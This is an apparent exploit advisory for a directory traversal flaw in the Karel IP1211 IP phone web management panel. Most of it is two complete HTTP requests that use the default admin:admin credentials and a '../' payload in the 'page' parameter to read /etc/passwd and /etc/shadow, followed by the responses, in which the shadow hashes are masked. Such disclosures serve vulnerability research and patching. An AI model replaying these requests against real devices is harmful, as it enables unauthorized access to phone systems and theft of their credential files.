Karel IP Phone IP1211 Web Management Panel - Directory Traversal

# Exploit Title: Karel IP Phone IP1211 Web Management Panel - Directory Traversal
# Exploit Author: Berat Gokberk ISLER
# Date: 2020-09-01
# CVE: N/A
# Type: Webapps
# Vendor Homepage: https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon
# Version: IP1211

Details

Directory traversal vulnerability on the Karel IP1211 IP Phone Web Panel.
Remote authenticated users (Attackers used default credentials in this
case) to perform directory traversal, provides access to sensitive data
under indexes using the "cgiServer.exx?page=" parameter. In this case
sensitive files, "passwd" and "shadow" files.

# Vulnerable Parameter Type: GET
# Payload: ../../../../../../../../etc/passwd or /etc/shadow

# First Request:

GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1

# First Response

HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone

root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh

# Second Request

GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/shadow
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1

# Second Response

HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone

root:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
guest:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::